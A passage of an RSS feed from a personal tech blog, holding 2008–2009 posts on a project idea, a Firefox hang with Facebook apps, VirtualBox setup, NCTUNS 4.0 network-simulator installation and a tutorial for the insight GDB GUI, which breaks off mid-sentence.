the project and also about their configuration steps. For now these are technolgies I'm planning to use in my project.&lt;/div&gt;&lt;blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1.RADIUS and LDAP&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2.LAMP(Linux,Apache,MySQL,PHP)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;3.Java,JSP&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;4.Firefox&lt;/div&gt;&lt;/blockquote&gt;
</description>
<pubDate>Fri, 02 Jan 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/01/my-final-year-project-idea.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/01/my-final-year-project-idea.html</guid>
</item>



<item>
<title>Firefox getting hung up - Is this a bug?</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;I'm using Firefox 3.0.5 on WINDOWS XP and having a problem while accessing the &lt;a href=&quot;http://www.facebook.com/&quot;&gt;Facebook&lt;/a&gt;&lt;/span&gt;. This problem started to me a week back whenever I launch some applications in facebook firefox will stop&amp;nbsp; responding and only way left with me is to kill the process. This problem occurs only for facebook apps. First I thought it might be due to corrupt installation but same problem occured to my friend when he accessed facebook. Firefox is working fine with all other site only with facebook this problem is occuring. So my big question is is this a bug ? if not can you provide me a solution ;)&lt;/div&gt;
</description>
<pubDate>Fri, 02 Jan 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/01/firefox-getting-hung-up-is-this-a-bug.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/01/firefox-getting-hung-up-is-this-a-bug.html</guid>
</item>



<item>
<title>Virtualisation Using Virtual Box</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Ever imagined of using a new OS in your existing OS may be Windows or Linux without rebooting your system, well you can do it if you have Virtual Machine softwares some of them are VMWare,Virtual Box by SUN,Quemu etc. Here i'm going to tell how to set up a new system inside your Windows OS using Virtual Box.Download Virtual Box from this &lt;a href=&quot;http://www.virtualbox.org/&quot;&gt;link&lt;/a&gt;.Install the software and then launch Virtual Box.From the &lt;i&gt;File&lt;/i&gt; menu select &lt;i&gt;Virtual Disk Manager&lt;/i&gt;. See image below&lt;/div&gt;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;table style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://picasaweb.google.co.in/lh/photo/zVfEwG3ytXqAcsvWjnQ7QQ?authkey=NQUrepF46Og&quot;&gt;&lt;img src=&quot;http://lh6.ggpht.com/_Pms4ehFPMfI/SRMwr6rPTxI/AAAAAAAAAdA/6PSc0W-HRPU/s400/vdiskmanager.JPG&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Virtual Disk manager will pop up, there click on new and a disk creating wizard will pop up as shown in the image below. Click next and select &lt;i&gt;Fixed-size image.&lt;/i&gt;In the next window you should allocate size for virtual hard disk image. &lt;i&gt;Maximum possible for Fixed allocation is 3.5GB. &lt;/i&gt;Image describing the step are below.&lt;/div&gt;&lt;table style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://picasaweb.google.co.in/lh/photo/ymzgJPkhiBvOsf_LNJQTIw?authkey=NQUrepF46Og&quot;&gt;&lt;img src=&quot;http://lh4.ggpht.com/_Pms4ehFPMfI/SRMwsUTLwPI/AAAAAAAAAdg/yi1q2uX2oJk/s400/creat_d1.JPG&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://picasaweb.google.co.in/lh/photo/1SO4BV0rTrK5j415Btlzbw?authkey=NQUrepF46Og&quot;&gt;&lt;img src=&quot;http://lh5.ggpht.com/_Pms4ehFPMfI/SRMwsEF1AwI/AAAAAAAAAdY/C7GiNU_wYyw/s400/allocate.JPG&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;As you can see you can name your hard disk file also image will be stored by default in C drive in &lt;i&gt;MyDocuments&lt;/i&gt; . Click on the folder icon to browse to other drive and save there. Click next and click on &lt;i&gt;Finish, &lt;/i&gt;image creation will start. If you want more you space can repeat the procedure again to create another disk image. I suggest you shoul provide atleast 6GB space for Linux installation.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;table style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://picasaweb.google.co.in/lh/photo/0ce-2h538vm6PL0IpGazag?authkey=NQUrepF46Og&quot;&gt;&lt;img src=&quot;http://lh6.ggpht.com/_Pms4ehFPMfI/SRMxn8fTtBI/AAAAAAAAAdw/X5wAm8cs5m8/s400/creating.JPG&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now you are done with creating hard disk required for your for your virtual system and click OK on Disk Manager. Now its time to setup your machine. Click on &lt;i&gt;New &lt;/i&gt;button you can see in tooll bar. Virtual Machine wizzard will pop up. Give a name to your virtual machine and select OS from the drop down list. See image below.&lt;/div&gt;&lt;table style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://picasaweb.google.co.in/lh/photo/XZjFMkLgcpYUCE2mg6f_lg?authkey=NQUrepF46Og&quot;&gt;&lt;img src=&quot;http://lh4.ggpht.com/_Pms4ehFPMfI/SRMxoEk4QBI/AAAAAAAAAeA/_d_B9-Hpago/s400/new_vm.JPG&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Click &lt;i&gt;Next, &lt;/i&gt;next window allows to specify RAM for your virtual system. Beaware the amount specified will be used by virtual machine when you start it so first confirm how much RAM your system is having and then allocate wisely to your virtual machine. See image below I have 512MB RAM so allocated 256MB to virtual machine.&lt;/div&gt;&lt;table style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://picasaweb.google.co.in/lh/photo/VH1KDldOSoUwr7EQpKJL2A?authkey=NQUrepF46Og&quot;&gt;&lt;img src=&quot;http://lh3.ggpht.com/_Pms4ehFPMfI/SRMxn8ZAEyI/AAAAAAAAAd4/Ry4IJHeBV0k/s400/memory.JPG&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Click next and you now have to allocate hard disk for your system. Since we allready created the hard disks just click on &lt;i&gt;Existing &lt;/i&gt;allocate one of already created and click next and click &lt;i&gt;Finish. &lt;/i&gt;Your virtual machine is ready,&amp;nbsp; there are few things you need to do before you can start your virtual machine. Sice maximum possible hard disk allocated by virtual box is 3.5GB you may want to add some more space. Now click on Hard Disk in the main window and settings of virtual machine will pop up there click on Attach New Hard Disk icon and attach how much ever spce you want. See image below.&lt;/div&gt;&lt;table style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://picasaweb.google.co.in/lh/photo/5xu3WiYw5ZRufXAKVyz3aw?authkey=NQUrepF46Og&quot;&gt;&lt;img src=&quot;http://lh5.ggpht.com/_Pms4ehFPMfI/SRMxnuHTHoI/AAAAAAAAAdo/5AFzu4Ouh-k/s400/attaching.JPG&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now in the &lt;i&gt;Settings&lt;/i&gt; window click on &lt;i&gt;CD-ROM &lt;/i&gt;tab and check Mount CD/DVD Drive and then click Ok. See image below.&lt;/div&gt;&lt;table style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://picasaweb.google.co.in/lh/photo/ZyCTQ8FZbLdY53W2LVJyJw?authkey=NQUrepF46Og&quot;&gt;&lt;img src=&quot;http://lh6.ggpht.com/_Pms4ehFPMfI/SRMzLwufq_I/AAAAAAAAAeQ/Q2psmTsnfzA/s400/mount_cd.JPG&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;You may also want to share some folders in your system with you virtual machine that also you can do it just click on &lt;i&gt;Shared Folders &lt;/i&gt;tab and browse and add file you require. But remember the folder name since you&amp;nbsp; need it to mount it in virtual machine.&lt;/div&gt;&lt;table style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://picasaweb.google.co.in/lh/photo/3SqsJUMt_hzIRHDS4NLp-Q?authkey=NQUrepF46Og&quot;&gt;&lt;img src=&quot;http://lh5.ggpht.com/_Pms4ehFPMfI/SRMxoP6JqgI/AAAAAAAAAeI/-XcaDwfkRZs/s400/share_folder.JPG&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Now you are done start the vitual machine and install your OS and enjoy the Virtualization :)
</description>
<pubDate>Fri, 07 Nov 2008 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2008/11/virtualisation-using-virtual-box.html</link>
<guid isPermaLink="true">http://copyninja.info/2008/11/virtualisation-using-virtual-box.html</guid>
</item>



<item>
<title>NCTUNS 4.0 Installation Help</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;NCTUNS is a network simulator. I came accross it in my network laboratory. There are several versions of it Currently it is NCTUNS 5.0. I'm using NCTUNS 4.0 which requires Fedora 8 but it can aslo be installed in Fedora 7. I'm mainly writing this blog to help my friends who want to install and work in NCTUNS (atleast during their exams :) ).&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Firs thing to be done is to download the NCTUNs package(tar.gz format) at this &lt;a href=&quot;http://nsl.csie.nctu.edu.tw/nctuns.html.&quot;&gt;link&lt;/a&gt;.NCTUNS 4.0 provides simulation of IEEE 802.16(d) (WiMAX),DVB-RCS satalite networks etc.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;After you downloaded the file copy it into your home directory. You should remember to &lt;u&gt;&lt;i&gt;login as root&lt;/i&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/u&gt; user for installation. Also as per installation guide you should use either &lt;u&gt;&lt;i&gt;bash/tcsh&lt;/i&gt;&lt;/u&gt;  shell for installation. Now extract files from package. For this you need to launch &lt;i&gt;terminal&lt;/i&gt; and type following command.&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: right;&quot;&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;blockquote&gt;&lt;b&gt;&lt;i&gt;tar -xvf NCTUns-allinone-linux-2.6.24.2-f8.20080225.tar&lt;/i&gt;&lt;/b&gt;(or whatever the downloaded file name is)&lt;/blockquote&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Next change into extracted directory, by default it is NCTUNs 4.0. List the files you will find &lt;b&gt;&lt;u&gt;&lt;i&gt;install.sh&lt;/i&gt;&lt;/u&gt; &lt;/b&gt;before you start installation make sure you have disabled &lt;i&gt;SELinux &lt;/i&gt;and &lt;i&gt;Firewall. &lt;/i&gt;If you didn't your nctuns will not launch properly after installations and you may have to reinstall it.After disabling the SELinux and Firewalls execute &lt;i&gt;install.sh &lt;/i&gt;file.&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;blockquote&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;b&gt;&lt;i&gt;./install.sh&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Help for installation can be found by passing &lt;b&gt;&lt;i&gt;-h &lt;/i&gt;&lt;/b&gt;switch to install.sh.(&lt;i&gt;./install.sh -h&lt;/i&gt;).&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;During installation it may ask you several questions since we are installing in normal mode just type &lt;b&gt;&lt;i&gt;Yes&lt;/i&gt;&lt;/b&gt; or simply &lt;b&gt;&lt;i&gt;y&lt;/i&gt;&lt;/b&gt;. It takes little time for installing new &lt;i&gt;NCTUNs kernel&lt;/i&gt;. If you already installed older version it will upgrade the kernel. After installation is done shell prompt returns. Reboot the system and in the GRUB boot loader you will find new entry &lt;i&gt;nctuns4.0&lt;/i&gt;. Choose the newly installed NCTUNs client and boot the system installation is done. :)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now before you can launch NCTUNs client you need to do certain changes in &lt;b&gt;&lt;i&gt;.bashrc&lt;/i&gt;&lt;/b&gt;(bash shell) file. That is you need set 3 environment variable. Since we did a normal installation default location of installation is &lt;u&gt;&lt;i&gt;/usr/local/nctuns.&lt;/i&gt;&lt;/u&gt;&lt;i&gt; &lt;/i&gt;Just add the following line to&lt;i&gt; &lt;/i&gt;.bashrc shell configuration file.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt; export NCTUNSHOME=/usr/local/nctuns&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; export NCTUNS_TOOLS=/usr/local/nctuns/tools&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; export NCTUNS_BIN=/usr/local/nctuns/bin&lt;/b&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Then add the following line to set all the environment variables, if you do not you need to set these variable before you launch nctuns program.&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;blockquote&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt; source /usr/local/nctuns/etc/nctuns.bash(.csh for cshell)&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;After these changes are made create user by name &lt;i&gt;nctuns&lt;/i&gt; and password &lt;i&gt;nctuns&lt;/i&gt;, if you didn't create user you wont be able to launch &lt;i&gt;ping&lt;/i&gt; window.After you are finished save and exit from shell prompt, then reopen shell promapt, open 3 tabs. In first tab type &lt;u&gt;&lt;i&gt;dispatcher&lt;/i&gt;&lt;/u&gt; and press enter. In the second tab type &lt;u&gt;&lt;i&gt;coordinator&lt;/i&gt;&lt;/u&gt;, In the third window enter &lt;u&gt;&lt;i&gt;nctunsclient&lt;/i&gt;&lt;/u&gt;. These set of commands will launch NCTUNs window. Go on and do the simulations. :)&lt;/div&gt;&lt;div style=&quot;color: red; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Note: The above said procedure is for bash shell only. Also don't forget to disable 3D Desktop effect otherwise your NCTUNs window will go black each time you click on some icons.Also you can add the above mentioned lines any where in .bashrc but please don't change whatever already there in the file.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Wed, 05 Nov 2008 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2008/11/nctuns-4-0-installation-help.html</link>
<guid isPermaLink="true">http://copyninja.info/2008/11/nctuns-4-0-installation-help.html</guid>
</item>



<item>
<title>GDB's GUI "insight" Tutorial</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;I already have written a blog mentioning about a GUI for gdb. Today I'm going to give a brief tutorial of how to install insight and some basics for using the insight in debugging your programs. As I mentioned earlier this program can be downloaded from this &lt;a href=&quot;http://sources.redhat.com/insight/&quot;&gt;link.&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;To install insight you first need to extract the insight folder from archive using following command&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;blockquote&gt;[root@localhost ~]# tar -xvf filename&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Once extracting is done enter the insight's directory and use following commands for installing&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;blockquote&gt;&lt;blockquote&gt; [root@localhost insight]# ./configure&amp;nbsp;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;blockquote&gt;[root@localhost insight]# make&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;blockquote&gt;[root@localhost insight]# make install&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Note that all these commands will take some time to finish so have pateince till they finish :)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;To begin with any executable file that you want to debug&amp;nbsp; must contain a debugging information in it, this info is generated by compiler when we specify &lt;i&gt;-ggdb&lt;/i&gt; or &lt;i&gt;-g&lt;/i&gt; switch to the compiler either it is c(gcc) or c++(g++) . To launch insight you just have to type insight in shell prompt. The GUI version of gdb will be&amp;nbsp; launched and you can have a look at it in the following image.&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnw__buRAI/AAAAAAAAAcg/V7xpYPiU9W8/s1600-h/Screenshot-Source+Window.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnw__buRAI/AAAAAAAAAcg/sRwp0uKGR6U/s400-R/Screenshot-Source+Window.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;To load your executable file click on &lt;i&gt;File&lt;/i&gt; tab and click &lt;i&gt;Open&lt;/i&gt; as shown above this will open up a file browsing window from where you can select your executable file. See image below.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnvBiZAfvI/AAAAAAAAAbI/caOZ33Et_AU/s1600-h/Screenshot-Load+New+Executable.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnvBiZAfvI/AAAAAAAAAbI/0GgeGwqdXSM/s400-R/Screenshot-Load+New+Executable.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Once the file is loaded you can see your program in the main window with &quot;-&quot; symbol at place where you can insert break points. When you insert break points you can see a &quot;red&quot; square dot to specify break points. See image below&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQnuzyI9c8I/AAAAAAAAAaw/b8GHAT9RlJI/s1600-h/Screenshot-leaky.c+-+Source+Window.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQnuzyI9c8I/AAAAAAAAAaw/XdzItonB9bk/s400-R/Screenshot-leaky.c+-+Source+Window.png&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnu6TqEHSI/AAAAAAAAAa4/RdE_5hPMx_U/s1600-h/Screenshot-leaky.c+-+Source+Window-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnu6TqEHSI/AAAAAAAAAa4/YBV3Z6-Vtr4/s400-R/Screenshot-leaky.c+-+Source+Window-1.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;You can see a animation of a man running in the top left corner in the tool bar it is the button for running your program click on it program will star and stop at your first break point. You can make out this by seeing the color of break point line which will now turn into green. The button next is to &lt;i&gt;step&lt;/i&gt; that is line by line execution and the one next to it is for &lt;i&gt;next&lt;/i&gt; instruction of gdb difference between &lt;i&gt;next&lt;/i&gt; and &lt;i&gt;step&lt;/i&gt; is that if current instruction is a function call &lt;i&gt;step&lt;/i&gt; will&amp;nbsp; step into function where as &lt;i&gt;next&lt;/i&gt; executes entire function and stops at instruction next to function call.&amp;nbsp; The&amp;nbsp; next 2 buttons are &lt;i&gt;finish&lt;/i&gt; and &lt;i&gt;continue&lt;/i&gt;. &lt;i&gt;Finish&lt;/i&gt; resumes normal execution ignoring all further break points where as &lt;i&gt;continue&lt;/i&gt; executes all instruction till next break point is encountered. Next to buttons are for assembly language executing. Which is not required by normal users (it is for developer designig inbuilt functions or system calls).&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnvbR1lFPI/AAAAAAAAAbo/yZqzMq_wews/s1600-h/Screenshot-leaky.c+-+Source+Window-6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnvbR1lFPI/AAAAAAAAAbo/zGSrtJKsodE/s400-R/Screenshot-leaky.c+-+Source+Window-6.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Thinking of how to see and modify variable value? Well click on the view tab you have a set of options there.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnu_OFWhKI/AAAAAAAAAbA/dxiIpWj9akM/s1600-h/Screenshot-leaky.c+-+Source+Window-3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnu_OFWhKI/AAAAAAAAAbA/wJsIXa3-1uM/s400-R/Screenshot-leaky.c+-+Source+Window-3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I'll start from basic one &lt;i&gt;Local Variables&lt;/i&gt;. Click on this option a window consisting of all local variable of currently executing routine will open up. If you want to change any variable value you just need to right click(hold) and click on edit which will make a text box to appear where you can enter new value or modify existing one. See following images.&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnvihXD83I/AAAAAAAAAbw/FHLvSPtwwsU/s1600-h/Screenshot-Local+Variables.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnvihXD83I/AAAAAAAAAbw/d8GvGAasLy8/s320-R/Screenshot-Local+Variables.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&amp;nbsp;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQnvnfPb32I/AAAAAAAAAb4/dxBiEfYbanA/s1600-h/Screenshot-Local+Variables-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQnvnfPb32I/AAAAAAAAAb4/RUVBXrT0ZAM/s320-R/Screenshot-Local+Variables-1.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;Next let us see the &lt;i&gt;Watch 